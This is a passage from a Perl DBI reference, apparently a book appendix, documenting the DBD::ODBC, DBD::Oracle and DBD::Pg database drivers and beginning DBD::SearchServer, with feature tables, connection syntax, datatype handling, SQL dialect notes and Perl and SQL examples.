Table name letter case                 Dependent on connected data source
Field name letter case                 Dependent on connected data source
Quoting of otherwise invalid names     Dependent on connected data source
Case-insensitive "LIKE" operator       Dependent on connected data source
Server table ROW ID pseudocolumn       Dependent on connected data source
Positioned update/delete               Yes
Concurrent use of multiple handles     Dependent on connected data source

Author and contact details

The driver authors are Jeff Urlwin and Tim Bunce. The original work was based upon an early version of Thomas Wenrich's DBD::Solid. The authors can be contacted via the dbi-users mailing list.

Supported database versions and options

The DBD::ODBC module supports ODBC Version 2.x and 3.x on Unix and Win32. For all platforms, both an ODBC driver manager and an ODBC driver are required in addition to the DBD::ODBC module.

For Win32, the driver manager is included with the operating system. For Unix and variants, the iODBC driver manager source is included in the iodbcsrc directory. While iODBC acts as the driver manager, you still have to find an actual driver for your platform and database.

Driver providers include:

Intersolv: http://www.intersolv.com

OpenLink: http://www.openlinksw.com

There are other vendors; this is not an exhaustive list. Other related ODBC links include:

http://www.genix.net/unixODBC

http://www.openlinksw.com/iodbc

http://www.microsoft.com/data/odbc

To subscribe to the freeodbc development mailing list, send a message to freeodbc-request@as220.org with just the word subscribe in the body of the message.

Differences from the DBI specification

DBD::ODBC does not currently support "out" parameter binding. That should be fixed in a later release.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, has the following forms:

dbi:ODBC:odbc_dsn
dbi:ODBC:driver=Microsoft Access Driver (*.mdb);dbq=\\server\share\access.mdb

In the first example above, odbc_dsn is an ODBC Data Source Name (DSN). An ODBC DSN is simply a name you use to refer to a set of driver-specific connection parameters defined elsewhere. Connection parameters typically include the name of the ODBC driver to use, the database name, and any required connection details.

Under Win32, the best method of creating an ODBC DSN is by using the ODBC32 applet on the Windows Control Panel. Under Unix variants, you typically need to edit a text file called .odbc.ini in your home directory. Refer to your driver manager documentation for more details.

The second connection example above uses the driver-specific connection string. By specifying all the required information, you can bypass the need to use a previously defined DSN. In our example we're using the "Microsoft Access Driver (*.mdb)" driver to reach the data in the \\server\share\access.mdb Access database file.

There are currently no driver-specific attributes for the DBI->connect() method.

Most ODBC drivers and databases let you make multiple concurrent database connections to the same database. A few do not.

Some ODBC drivers and databases, most notably Sybase and SQL Server, do not let you prepare and execute a new statement handle while still fetching data from another statement handle associated with the same database handle.

Datatypes

Numeric data handling

The numeric data handling for ODBC is dependent upon a variety of factors. One of those critical factors is the end database. For example, Oracle supports different numeric types than Sybase which, in turn, supports different numeric types than a CSV file. You will need to read your database documentation for more information.

Unfortunately, the second critical set of factors are the ODBC driver manufacturer and version of the driver. For example, I have seen a great variety in the handling of numeric values between versions of Oracle's ODBC drivers. What works with one version, sadly, may not work with even a later version of Oracle's drivers. You will need to read your ODBC driver documentation for more information.

The DBI type_info( ) and type_info_all( ) methods provide information about the datatypes supported by the database and driver being used.

String data handling

As with numeric handling, string data handling is dependent upon the database and driver. Please see "Numeric Data Handling" above for more information.

Strings can be concatenated using the CONCAT(s1,s2) SQL function.

Date data handling

As with numeric handling, date data handling is dependent upon the database and driver. Please see "Numeric Data Handling" above for more information.

You can use ODBC escape sequences to define a date in a database-independent way. For example, to insert a date of Jan 21, 1998 into a table, you could use:

INSERT INTO table_name (date_field) VALUES ({d '1998-01-21'});

You can use placeholders within escape sequences instead of literal values. For example:

INSERT INTO table_name (date_field) VALUES ({d ?});

Similar escape sequences are defined for other date/time types. Here's the full set:

{d 'YYYY-MM-DD'}                    -- date
{t 'HH:MM:SS'}                      -- time
{ts 'YYYY-MM-DD HH:MM:SS'}          -- timestamp
{ts 'YYYY-MM-DD HH:MM:SS.FFFFFFF'}  -- timestamp

If you specify a DATE value without a time component, the default time is 00:00:00 (midnight). There is also an interval escape clause which is constructed like this:

{interval [+|-] 'value' [interval_qualifier]}

For example:

{interval '200-11' YEAR(3) TO MONTH}

Please see an ODBC reference guide for more information.

The current date and time on the server can be found by using an ODBC scalar function escape sequence to call the appropriate function. For example:

INSERT INTO table_name (date_field) VALUES ({fn CURDATE});

The {fn ...} escape sequence isn't required if the entire SQL statement conforms to the level of SQL-92 grammar supported by your ODBC driver.

Other related functions include CURTIME( ),
NOW( ), CURRENT_DATE( ),
CURRENT_TIME( ), and CURRENT_TIMESTAMP(
). The last three require an ODBC v3 driver.

Other date/time related functions include: DAYNAME(
), DAYOFMONTH( ), DAYOFWEEK(
), DAYOFYEAR( ), EXTRACT(
), HOUR( ), MINUTE(
), MONTH( ), MONTHNAME(
), SECOND( ), WEEK(
), and YEAR( ).

Basic date/time arithmetic can be performed using the TIMESTAMPADD( ) and TIMESTAMPDIFF( ) functions.

The following SQL expression can be used to convert an integer "seconds since 1-jan-1970" value to the corresponding database date/time:

TIMESTAMPADD(SQL_TSI_SECOND, seconds_since_epoch, {d '1970-01-01'})

to do the reverse you can use:

TIMESTAMPDIFF(SQL_TSI_SECOND, {d '1970-01-01'}, date_field)

ODBC itself does not have any support for time zones, though the database to which you are connected may.

LONG/BLOB data handling

Support for LONG/BLOB datatypes and their maximum lengths are very dependent on the database to which you are connected.

The LongReadLen and LongTruncOk attributes work as defined. However, the driver implementations do affect this. Some drivers do not properly indicate that they have truncated the data, or they have more data available than was actually returned. The DBD::ODBC tests attempt to determine correct support for this.

No special handling is required for LONG/BLOB datatypes. They can be treated just like any other field when fetching or inserting, etc.

Other data handling issues

The DBD::ODBC driver supports the type_info( ) method.

Transactions, Isolation, and Locking

DBD::ODBC supports transactions if the databases you are connected to supports them.

Supported isolation levels, the default isolation level, and locking behavior are all dependent on the database to which you are connected.

SQL Dialect

Because DBD::ODBC acts as an interface to other database drivers, the following issues are governed by those drivers and the databases they connect to:

  • Case-sensitivity of LIKE operator

  • Table and column names

  • Row ID

  • Automatic key or sequence generation

  • Automatic row numbering and row count limiting

For more information, refer to the documentation for the drivers and the database being used.

Table join syntax

Table join syntax is partly dependent on the database to which you are connected and the ODBC driver you are using. The ODBC standard SQL defines the standard syntax for inner joins and an escape sequence to use for outer joins:

{oj outer_join}

where outer_ join is defined as:

table_name [LEFT | RIGHT | FULL]
  OUTER JOIN [ table_name | outer_join] ON condition

An outer join request must appear after the FROM clause of a SELECT but before a WHERE clause, if one exists.

Positioned updates and deletes

This is dependent on the database to which you are connected. Positioned updates and deletes are supported in ODBC SQL using the WHERE CURRENT OF syntax.

For example:

$dbh->do("UPDATE ... WHERE CURRENT OF $sth->{CursorName}");

Parameter Binding

Parameter binding is supported by DBD::ODBC if the underlying ODBC driver driver supports it. Only the standard ? style of placeholders is supported.

The TYPE attribute to the bind_ param() method is supported.

Stored Procedures

Stored procedures can be called using the following ODBC escape sequence:

{call procedure1_name}
{call procedure2_name(?, ?)}
{?= call procedure3_name(?, ?)}

The last form would be used to return values from the procedure, but DBD::ODBC currently does not support output parameters.

Table Metadata

DBD::ODBC supports the table_info() method.

DBD::ODBC also supports many of the ODBC metadata functions that can be used to discover information about the tables within a database. These can be accessed as driver-specific private methods:

SQLGetTypeInfo   --  $dbh->func(xxx,        'GetTypeInfo')
SQLDescribeCol   --  $sth->func(colno,      'DescribeCol')
SQLColAttributes --  $sth->func(xxx, colno, 'ColAttributes')
SQLGetFunctions  --  $dbh->func(xxx,        'GetFunctions')
SQLColumns       --  $dbh->func(catalog, schema, table, column, 'columns')
SQLStatistics    --  $dbh->func(catalog, schema, table, unique, 'Statistics')
SQLPrimaryKeys   --  $dbh->func(catalog, schema, table, 'PrimaryKeys')
SQLForeignKeys   --  $dbh->func(pkc, pks, pkt, fkc, fks, fkt, 'ForeignKeys')

The DBI will provide standard methods for these soon, possibly by the time you read this book.

Driver-Specific Attributes and Methods

DBD::ODBC has no driver-specific handle attributes.

In addition to the private methods described in "Table Metadata" above, the GetInfo() private method can be used to discover many details about the driver and database you are using.

DBD::Oracle

General Information

Driver version

DBD::Oracle version 1.03

Feature summary

Transactions                           Yes
Locking                                Yes, implicit and explicit
Table joins                            Yes, inner and outer
LONG/LOB datatypes                     Yes, up to 4 GB
Statement handle attributes available  After prepare(  )
Placeholders                           Yes, "?" and ":1" styles (native)
Stored procedures                      Yes
Bind output values                     Yes
Table name letter case                 Insensitive, stored as uppercase
Field name letter case                 Insensitive, stored as uppercase
Quoting of otherwise invalid names     Yes, via double quotes
Case-insensitive "LIKE" operator       No
Server table ROW ID pseudocolumn       Yes, "ROWID"
Positioned update/delete               No
Concurrent use of multiple handles     Unrestricted

Author and contact details

The driver author is Tim Bunce. He can be contacted via the dbi-users mailing list.

Supported database versions and options

The DBD::Oracle module supports both Oracle 7 and Oracle 8.

Building for Oracle 8 defaults to use the new Oracle 8 OCI interface, which enables use of some Oracle 8 features including LOBs and "INSERT ... RETURNING ...".

An emulation module for the old Perl4 oraperl software is supplied with DBD::Oracle, making it very easy to upgrade oraperl scripts to Perl5.

For further information about Oracle, refer to:

http://www.oracle.com

http://technet.oracle.com

Differences from the DBI specification

DBD::Oracle has no known significant differences in behavior from the current DBI specification.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, can be one of the following:

dbi:Oracle:tnsname
dbi:Oracle:sidname
dbi:Oracle:host=hostname;sid=sid

Some other less common formats also work if supported by the Oracle client version being used.

There are no significant driver-specific attributes for the DBI->connect() method.

DBD::Oracle supports an unlimited number of concurrent database connections to one or more databases.

Datatypes

Numeric data handling

Oracle has only one flexible underlying numeric type, NUMBER. But Oracle does support several ANSI standard and IBM datatype names as aliases, including:

INTEGER      = NUMBER(38)
INT          = NUMBER(38)
SMALLINT     = NUMBER(38)
DECIMAL(p,s) = NUMBER(p,s)
NUMERIC(p,s) = NUMBER(p,s)
FLOAT        = NUMBER
FLOAT(b)     = NUMBER(p)   where b is the binary precision, 1 to 126
REAL         = NUMBER(18)

The NUMBER datatype stores positive and negative fixed and floating-point numbers with magnitudes between 1.0 × 10-130 and 9.9...9 × 10125 (38 nines followed by 88 zeroes), with 38 digits of precision.

You can specify a fixed-point number using the following form: NUMBER(p,s) where s is the scale, or the number of digits to the right of the decimal point. The scale can range from -84 to 127.

You can specify an integer using NUMBER(p). This is a fixed-point number with precision p and scale 0. This is equivalent to NUMBER(p,0).

You can specify a floating-point number using NUMBER. This is a floating-point number with decimal precision 38. A scale value is not applicable for floating-point numbers.

DBD::Oracle always returns all numbers as strings. Thus the driver puts no restriction on size of PRECISION or SCALE.

String data handling

Oracle supports the following string datatypes:

VARCHAR2(size)
NVARCHAR2(size)
CHAR
CHAR(size)
NCHAR
NCHAR(size)
RAW(size)

The RAW type is presented as hexadecimal characters. The contents are treated as non-character binary data and thus are never "translated" by character set conversions or gateway interfaces.

CHAR types and the RAW type have a limit of 2000 bytes. For VARCHAR types the limit is 2000 bytes in Oracle 7 and 4000 in Oracle 8.

The NVARCHAR2 and NCHAR variants hold string values of a defined national character set (Oracle 8 only). For those types the maximum number of characters stored may be lower when using multibyte character sets.

The CHAR and NCHAR types are fixed length and blank padded.

Oracle automatically converts character data between the character set of the database defined when the database was created and the character set of the client, defined by the NLS_LANG parameter for the CHAR and VARCHAR2 types or the NLS_NCHAR parameter for the NCHAR and NVARCHAR2 types.

CONVERT(string, dest_char_set, source_char_set) can be used to convert strings between character sets. Oracle 8 supports 180 storage character sets. UTF-8 is supported. See the "National Language Support" section of the Oracle Reference manual for more details on character set issues.

Strings can be concatenated using either the CONCAT(s1,s2,...) SQL function or the || operator.

Date data handling

Oracle supports one flexible date/time datatype: DATE. A DATE can have any value from January 1, 4712 BC to December 31, 4712 AD with a one second resolution.

Oracle supports a very wide range of date formats and can use one of several calendars (Arabic Hijrah, English Hijrah, Gregorian, Japanese Imperial, Persian, ROC Official (Republic of China), and Thai Buddha). We'll only consider the Gregorian calendar here.

The default output format for the DATE type is defined by the NLS_DATE_FORMAT configuration parameter, but it's typically DD-MON-YY, e.g., 20-FEB-99 in most western installations. The default input format for the DATE type is the same as the output format. Only that one format is recognized.

If you specify a DATE value without a time component, the default time is 00:00:00 (midnight). If you specify a DATE value without a date, the default date is the first day of the current month. If a date format that has a two-digit year, such as the YY in DD-MON-YY (a common default) then the date returned is always in the current century. The RR format can be used instead to provide a fifty-year pivot.

The default date format is specified either explicitly with the initialization parameter NLS_DATE_FORMAT or implicitly with the initialization parameter NLS_TERRITORY. For information on these parameters, see Oracle8 Reference.

You can change the default date format for your session with the ALTER SESSION command. For example:

ALTER SESSION SET NLS_DATE_FORMAT = 'MM/DD/YYYY'

The TO_DATE( ) function can be used to parse a character string containing a date in a known format. For example:

UPDATE table SET date_field = TO_DATE('1999-02-21', 'YYYY-MM-DD')

The TO_CHAR( ) function can be used to format a date. For example:

SELECT TO_CHAR(SYSDATE, 'YYYY-MM-DD') FROM DUAL

The current date/time is returned by the SYSDATE( ) function.

You can add numbers to DATE values. The number is interpreted as numbers of days; for example, SYSDATE + 1 is this time tomorrow, and SYSDATE - (3/1440) is three minutes ago. You can subtract two dates to find the difference, in days, between them.

Oracle provides a wide range of date functions including
ROUND( ), TRUNC( ),
NEXT_DAY( ), ADD_MONTHS( ),
LAST_DAY( ) (of the month), and
MONTHS_BETWEEN( ).

The following SQL expression can be used to convert an integer "seconds since 1-jan-1970" value to the corresponding database date/time:

to_date(trunc(:unixtime/86400, 0) + 2440588, 'J') -- date part
+(mod(:unixtime,86400)/86400)                     -- time part

To do the reverse you can use:

(date_time_field - TO_DATE('01-01-1970','DD-MM-YYYY')) * 86400

Oracle does no automatic time zone adjustments. However it does provide a NEW_TIME( ) function that calculates time zone adjustments for a range of time zones. NEW_TIME(d, z1, z2) returns the date and time in time zone z2 when the date and time in time zone z1 are represented by d.

LONG/BLOB data handling

Oracle supports these LONG/BLOB datatypes:

LONG      - Character data of variable length
LONG RAW  - Raw binary data of variable length
CLOB      - A large object containing single-byte characters
NCLOB     - A large object containing national character set data
BLOB      - Binary large object
BFILE     - Locator for external large binary file

The LONG types can hold up to 2 GB. The other types (LOB and FILE) can hold up to 4 GB. The LOB and FILE types are only available when using Oracle 8 OCI.

The LONG RAW and RAW types are passed to and from the database as strings consisting of pairs of hex digits.

The LongReadLen and LongTruncOk attributes work as defined. However, the LongReadLen attribute seems to be limited to 65535 bytes on most platforms when using Oracle 7. Building DBD::Oracle with Oracle 8 OCI raises that limit to 4 GB.

The maximum length of bind_ param( ) parameter value that can be used to insert LONG data seems to be limited to 65535 bytes on most platforms when using Oracle 7. Building DBD::Oracle with Oracle 8 OCI raises that limit to 4 GB.

The TYPE attribute value SQL_LONGVARCHAR indicates an Oracle LONG type. The value SQL_LONGVARBINARY indicates an Oracle LONG RAW type. These values are not always required but their use is strongly recommended.

No other special handling is required for LONG/BLOB datatypes. They can be treated just like any other field when fetching or inserting, etc.

Other data handling issues

The DBD::Oracle driver supports the type_info( ) method.

Oracle supports automatic conversions between datatypes wherever it's reasonable.

Transactions, Isolation, and Locking

DBD::Oracle supports transactions. The default transaction isolation level is READ COMMITED.

Oracle supports READ COMMITED and SERIALIZABLE isolation levels. The level may be changed once per-transaction by executing a SET TRANSACTION ISOLATION LEVEL x statement (where x is the name of the isolation level required).

Oracle also supports transaction-level read consistency. This can be enabled by issuing a SET TRANSACTION statement with the READ ONLY option.

In Oracle, the default behavior is that a lock never prevents other users from querying the table. A query never places a lock on a table. Readers never block writers, and writers never block readers.

Rows returned by a SELECT statement can be locked to prevent them from being changed by another transaction by appending FOR UPDATE to the SELECT statement. Optionally, you can specify a column list in parentheses after the FOR UPDATE clause.

The LOCK TABLE table_name IN lock_mode statement can be used to apply an explicit lock on an entire table. A range of row and table locks are supported.

SQL Dialect

Case sensitivity of LIKE operator

The LIKE operator is case-sensitive.

Table join syntax

Oracle supports inner joins with the usual syntax:

SELECT * FROM a, b WHERE a.field = b.field

To write a query that performs an outer join of tables A and B and returns all rows from A, the Oracle outer join operator ( + ) must be applied to all column names of B that appear in the join condition. For example:

SELECT customer_name, order_date
FROM customers, orders
WHERE customers.cust_id = orders.cust_id (+);

For all rows in the customer's table that have no matching rows in the orders table, Oracle returns NULL for any select list expressions containing columns from the orders table.

Table and column names

The names of Oracle identifiers, such as tables and columns, cannot exceed thirty characters in length.

The first character must be a letter, but the rest can be any combination of letters, numerals, dollar signs ($), pound signs (# ), and underscores ( _).

However, if an Oracle identifier is enclosed by double quotes ("), it can contain any combination of legal characters including spaces but excluding quotation marks.

Oracle converts all identifiers to uppercase unless enclosed in double quotes. National characters can also be used when identifiers are quoted.

Row ID

The Oracle "row id" pseudocolumn is called ROWID. Oracle ROWIDs are alphanumeric case-sensitive strings. They can be treated as ordinary strings and used to rapidly (re)select rows.

Automatic key or sequence generation

Oracle supports "sequence generators". Any number of named sequence generators can be created in a database using the CREATE SEQUENCE seq_name SQL command. Each has pseudocolumns called NEXTVAL and CURRVAL. The typical usage is:

INSERT INTO table (k, v) VALUES (seq_name.nextval, ?)

To get the value just inserted you can use:

SELECT seq_name.currval FROM DUAL

Oracle does not support automatic key generation such as "auto increment" or "system generated" keys. However they can be emulated using triggers and sequence generators.

For example:

CREATE TRIGGER trigger_name
  BEFORE INSERT ON table_name FOR EACH ROW
  DECLARE newid integer;
BEGIN
  IF (:NEW.key_field_name IS NULL)
  THEN
    SELECT sequence_name.NextVal INTO newid FROM DUAL;
    :NEW.key_field_name := newid;
  END IF;
END;

Oracle8i (8.1.0 and above) supports Universal Unique ID number generation, per the IETF Internet-Draft, using the new SYS_GUID( ) function. GUIDs are more useful than sequence generators in a distributed database since no two hosts will generate the same GUID.

Automatic row numbering and row count limiting

The ROWNUM pseudocolumn can be used to sequentially number selected rows (starting at 1). Sadly, however, Oracle's ROWNUM has some frustrating limitations. Refer to the Oracle SQL documentation.

Positioned updates and deletes

Oracle does not support positioned updates or deletes.

Parameter Binding

Parameter binding is directly supported by Oracle. Both the ? and :1 style of placeholders are supported. The :name style is also supported, but is not portable.

The bind_ param() method TYPE attribute can be used to indicate the type a parameter should be bound as. These SQL types are bound as VARCHAR2: SQL_NUMERIC, SQL_DECIMAL, SQL_INTEGER, SQL_SMALLINT, SQL_FLOAT, SQL_REAL, SQL_DOUBLE, and SQL_VARCHAR. Oracle will automatically convert from VARCHAR2 to the required type.[74]

[74]Working with strings and letting Oracle handle the conversions actually has many benefits. Oracle's packed decimal numeric format is compact, fast, and has far larger scale and precision than Perl's own numeric values.

The SQL_CHAR type is bound as a CHAR, thus enabling fixed-width, blank-padded comparison semantics.

The SQL_BINARY and SQL_VARBINARY types are bound as RAW. SQL_LONGVARBINARY is bound as LONG RAW and SQL_LONGVARCHAR as LONG.

Unsupported values of the TYPE attribute generate a warning.

Refer to the DBD::Oracle documentation for details of how to bind LOBs and CURSORs.

Stored Procedures

Oracle stored procedures are implemented in the Oracle PL/SQL language.[75]

[75]A procedural extension to SQL that supports variables, control flow, packages, exceptions, etc. With Oracle8i, stored procedures can also be implemented in Java.

The DBD::Oracle module can be used to execute a block of PL/SQL code by starting it with a BEGIN and ending it with an END;. PL/SQL blocks are used to call stored procedures. Here's a simple example that calls a stored procedure called "foo" and passes it two parameters:

$sth = $dbh->prepare("BEGIN foo(:1, :2); END;");
$sth->execute("Baz", 24);

Here's a more complex example that shows a stored procedure being called with two parameters and returning the return value of the procedure. The second parameter of the procedure is defined as IN OUT so we bind that using bind_ param_inout() to enable it to update the Perl variable:

$sth = $dbh->prepare("BEGIN :result = func_name(:id, :changeme); END;");
$sth->bind_param(":id", "FooBar");
my ($result, $changeme) = (41, 42);
$sth->bind_param_inout(":result",  \$result,  100);
$sth->bind_param_inout(":changeme", \$changeme, 100);
$sth->execute();
print "func_name returned '$result' and updated changeme to '$changeme'\n";

Table Metadata

DBD::Oracle supports the table_info() method.

The ALL_TABLES view contains detailed information about all tables in the database, one row per table.

The ALL_TAB_COLUMNS view contains detailed information about all columns of all the tables in the database, one row per table.

The ALL_INDEXES view contains detailed information about all indexes in the database, including primary keys, one row per index.

The ALL_IND_COLUMNS view contains information about the columns that make up each index.

(Note that for all these views, fields containing statistics derived from the actual data in the corresponding table are updated only when the SQL ANALYSE command is executed for that table.)

Driver-Specific Attributes and Methods

DBD::Oracle has no significant driver-specific database or statement handle attributes.

The following private methods are supported:

plsql_errstr
$plsql_errstr = $dbh->func('plsql_errstr');

Returns error text from the USER_ERRORS table.

dbms_output_enable
$dbh->func('dbms_output_enable');

Enables the DBMS_OUTPUT package. The DBMS_OUTPUT package is typically used to receive trace and informational messages from stored procedures.

dbms_output_get
$msg  = $dbh->func('dbms_output_get');
@msgs = $dbh->func('dbms_output_get');

Gets a single line or all available lines using DBMS_OUTPUT.GET_LINE.

dbms_output_put
$msg  = $dbh->func('dbms_output_put', @msgs);

Puts messages using DBMS_OUTPUT.PUT_LINE.

DBD::Pg

General Information

Driver version

DBD::Pg version 0.91

Feature summary

Transactions                           Yes
Locking                                Yes, implicit and explicit
Table joins                            Yes, inner only
LONG/LOB datatypes                     Yes, max size depends on filesystem
Statement handle attributes available  After execute(  )
Placeholders                           Yes, "?" and ":1" styles (native)
Stored procedures                      No
Bind output values                     No
Table name letter case                 Insensitive, stored as lowercase
Field name letter case                 Insensitive, stored as lowercase
Quoting of otherwise invalid names     Yes, via double quotes
Case-insensitive "LIKE" operator       No, but has "~*" case-insensitive regex
                                       match
Server table ROW ID pseudocolumn       Yes, "oid"
Positioned update/delete               No
Concurrent use of multiple handles     Unrestricted

Author and contact details

The driver author is Edmund Mergl. He can be contacted via the dbi-users mailing list.

Supported database versions and options

The DBD-Pg-0.91 module supports PostgreSQL 6.4. For futher information please refer to:

http://www.postgresql.org

Differences from the DBI Specification

DBD::Pg does not fully parse the statement until it's executed. Thus, attributes like $sth->{NUM_OF_FIELDS} are not available until after $sth->execute( ) has been called. This is valid behavior, but it is important to note when porting applications originally written for other drivers.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, can be one of the following:

dbi:Pg:dbname=$dbname
dbi:Pg:dbname=$dbname;host=$host;port=$port;options=$options;tty=$tty

All parameters, including the userid and password parameter of the connect command, have a hard-coded default that can be overridden by setting appropriate environment variables.

There are no driver-specific attributes for the DBI->connect() method.

DBD::Pg supports an unlimited number of concurrent database connections to one or more databases.

Datatypes

Numeric data handling

PostgreSQL supports the following numeric types:

PostgreSQL | Range
int2 | -32768 to +32767
int4 | -2147483648 to +2147483647
float4 | 6 decimal places
float8 | 15 decimal places

Some platforms also support the int8 type. DBD::Pg always returns all numbers as strings.

String data handling

PostgreSQL supports the following string datatypes:

CHAR            single character
CHAR(size)      fixed length blank-padded
VARCHAR(size)   variable length with limit
TEXT            variable length

All string datatypes have a limit of 4096 bytes. The CHAR type is fixed length and blank padded.

There is no special handling for data with the eighth bit set. They are stored unchanged in the database. None of the character types can store embedded nulls and Unicode is not formally supported.

Strings can be concatenated using the || operator.

Date data handling

PostgreSQL supports the following date/time datatypes:

Datatype | Storage | Recommendation | Description
abstime | 4 bytes | original date and time | limited range
date | 4 bytes | SQL92 type | wide range
datetime | 8 bytes | best general date and time | wide range, high precision
interval | 12 bytes | SQL92 type | equivalent to timespan
reltime | 4 bytes | original time interval | limited range, low precision
time | 4 bytes | SQL92 type | wide range
timespan | 12 bytes | best general time interval | wide range, high precision
timestamp | 4 bytes | SQL92 type | limited range
Datatype | Range |  | Resolution
abstime | 1901-12-14 | 2038-01-19 | 1 sec
date | 4713 B.C. | 32767 A.D. | 1 day
datetime | 4713 B.C. | 1465001 A.D. | 1 microsec
interval | -178000000 years | +178000000 years | 1 microsec
reltime | -68 years | +68 years | 1 sec
time | 00:00:00:00 | 23:59:59:99 | 1 microsec
timespan | -178000000 years | 178000000 years | 1 microsec
timestamp | 1901-12-14 | 2038-01-19 | 1 sec

PostgreSQL supports a range of date formats:

Name | Example
ISO | 1997-12-17 0:37:16-08
SQL | 12/17/1997 07:37:16.00 PST
Postgres | Wed Dec 17 07:37:16 1997 PST
European | 17/12/1997 15:37:16.00 MET
NonEuropean | 12/17/1997 15:37:16.00 MET
US | 12/17/1997 07:37:16.00 MET

The default output format does not depend on the client/server locale. It depends on, in increasing priority: the PGDATESTYLE environment variable at the server, the PGDATESTYLE environment variable at the client, and the SET DATESTYLE SQL command.

All of the formats described above can be used for input. A great many others can also be used. There is no specific default input format. If the format of a date input is ambiguous then the current DATESTYLE is used to help disambiguate.

If you specify a date/time value without a time component, the default time is 00:00:00 (midnight). To specify a date/time value without a date is not allowed. If a date with a two-digit year is input, then if the year was less than 70, add 2000; otherwise, add 1900.

The current date/time is returned by the keyword `now' or `current' , which has to be cast to a valid datatype. For example:

SELECT 'now'::datetime

PostgreSQL supports a range of date/time functions for converting between types, extracting parts of a date/time value, truncating to a given unit, etc. The usual arithmetic can be performed on date and interval values, e.g., date-date=interval, etc.

The following SQL expression can be used to convert an integer "seconds since 1-jan-1970 GMT" value to the corresponding database date/time:

DATETIME(unixtime_field)

and to do the reverse:

DATE_PART('epoch', datetime_field)

The server stores all dates internally in GMT. Times are converted to local time on the database server before being sent to the client frontend, hence by default are in the server time zone.

The TZ environment variable is used by the server as default time zone. The PGTZ environment variable on the client side is used to send the time zone information to the backend upon connection. The SQL SET TIME ZONE command can set the time zone for the current session.

LONG/BLOB data handling

PostgreSQL handles BLOBs using a so-called "large objects" type. The handling of this type differs from all other datatypes. The data are broken into chunks, which are stored in tuples in the database. Access to large objects is given by an interface which is modelled closely after the Unix file system. The maximum size is limited by the file size of the operating system.

If you just select the field, you get a "large object identifier" and not the data itself. The LongReadLen and LongTruncOk attributes are not implemented because they don't make sense in this case. The only method implemented by the driver is the undocumented DBI method blob_read( ).

Other data handling issues

The DBD::Pg driver supports the type_info( ) method.

PostgreSQL supports automatic conversions between datatypes wherever it's reasonable.

Transactions, Isolation, and Locking

PostgreSQL supports transactions. The current default isolation transaction level is Serializable and is currently implemented using table-level locks. Both may change. No other isolation levels for transactions are supported.

With AutoCommit on, a query never places a lock on a table. Readers never block writers, and writers never block readers. This behavior changes whenever a transaction is started (with AutoCommit off). Then a query induces a shared lock on a table and blocks anyone else until the transaction has been finished.

The LOCK TABLE table_name statement can be used to apply an explicit lock on a table. This works only inside a transaction (with AutoCommit off).

To ensure that a table being selected does not change before you make an update later in the transaction, you must explicitly lock it with a LOCK TABLE statement before executing the select.

SQL Dialect

Case sensitivity of LIKE operator

PostgreSQL has the following string matching operators:

Glyph | Description | Example
~~ | Same as SQL "LIKE" operator | 'scrappy,marc' ~~ '%scrappy%'
!~~ | Same as SQL "NOT LIKE" operator | 'bruce' !~~ '%al%'
~ | Match (regex), case-sensitive | 'thomas' ~ '.*thomas.*'
~* | Match (regex), case-insensitive | 'thomas' ~* '.*Thomas.*'
!~ | Doesn't match (regex), case-sensitive | 'thomas' !~ '.*Thomas.*'
!~* | Doesn't match (regex), case-insensitive | 'thomas' !~ '.*vadim.*'

Table join syntax

Outer joins are not supported. Inner joins use the traditional syntax.

Table and column names

The maximum size of table and column names cannot exceed 31 charaters in length. Only alphanumeric characters can be used; the first character must be a letter.

If an identifier is enclosed by double quotes (" ), it can contain any combination of characters except double quotes.

PostgreSQL converts all identifiers to lowercase unless enclosed in double quotes. National character set characters can be used, if enclosed in quotation marks.

Row ID

The PostgreSQL "row id" pseudocolumn is called oid, object identifier. It can be treated as a string and used to rapidly (re)select rows.

Automatic key or sequence generation

PostgreSQL does not support automatic key generation such as "auto increment" or "system generated" keys.

However, PostgreSQL does support "sequence generators." Any number of named sequence generators can be created in a database. Sequences are used via functions called NEXTVAL and CURRVAL. The typical usage is:

INSERT INTO table (k, v) VALUES (NEXTVAL('seq_name'), ?);

To get the value just inserted, you can use the corresponding currval( ) SQL function in the same session, or:

SELECT last_value FROM seq_name

Automatic row numbering and row count limiting

Neither automatic row numbering nor row count limitations are supported.

Positioned updates and deletes

PostgreSQL does not support positioned updates or deletes.

Parameter Binding

Parameter binding is emulated by the driver. Both the ? and :1 style of placeholders are supported.

The TYPE attribute of the bind_ param() method may be used to influence how parameters are treated. These SQL types are bound as VARCHAR: SQL_NUMERIC, SQL_DECIMAL, SQL_INTEGER, SQL_SMALLINT, SQL_FLOAT, SQL_REAL, SQL_DOUBLE, and SQL_VARCHAR.

The SQL_CHAR type is bound as a CHAR, thus enabling fixed-width, blank-padded comparison semantics.

Unsupported values of the TYPE attribute generate a warning.

Stored Procedures

DBD::Pg does not support stored procedures.

Table Metadata

DBD::Pg supports the table_info() method.

The pg_attribute table contains detailed information about all columns of all the tables in the database, one row per table.

The pg_index table contains detailed information about all indexes in the database, including primary keys, one row per index.

Driver-Specific Attributes and Methods

There are no significant DBD::Pg driver-specific database handle attributes.

DBD::Pg has the following driver-specific statement handle attributes:

pg_size

Returns a reference to an array of integer values for each column. The integer shows the storage (not display) size of the column in bytes. Variable length columns are indicated by -1.

pg_type

Returns a reference to an array of strings for each column. The string shows the name of the datatype.

pg_oid_status

Returns the OID of the last INSERT command.

pg_cmd_status

Returns the name of the last command type. Possible types are: INSERT, DELETE, UPDATE, and SELECT.

DBD::Pg has no private methods.

Other Significant Database or Driver Features

PostgreSQL offers substantial additional power by incorporating the following four additional basic concepts in such a way that users can easily extend the system: classes, inheritance, types, and functions.

Other features provide additional power and flexibility: constraints, triggers, rules, transaction integrity, procedural languages, and large objects.

It's also free Open Source Software with an active community of developers.

DBD::SearchServer

General Information

Driver version

DBD::SearchServer version 0.20

This driver was previously known as DBD::Fulcrum.

Feature summary

Transactions                           No
Locking                                Yes, implicit and explicit
Table joins                            No, but see description below
LONG/LOB datatypes                     Yes, up to 2 GB
Statement handle attributes available  After execute(  )
Placeholders                           Yes, "?" and ":1" styles (emulated)
Stored procedures                      No
Bind output values                     No
Table name letter case                 Insensitive, stored as uppercase
Field name letter case                 Insensitive, stored as uppercase
Quoting of otherwise invalid names     Yes, via double quotes
Case-insensitive "LIKE" operator       Yes, "LIKE"
Server table ROW ID pseudocolumn       Yes, "FT_CID"
Positioned update/delete               Yes
Concurrent use of multiple handles     Unrestricted

Author and contact details

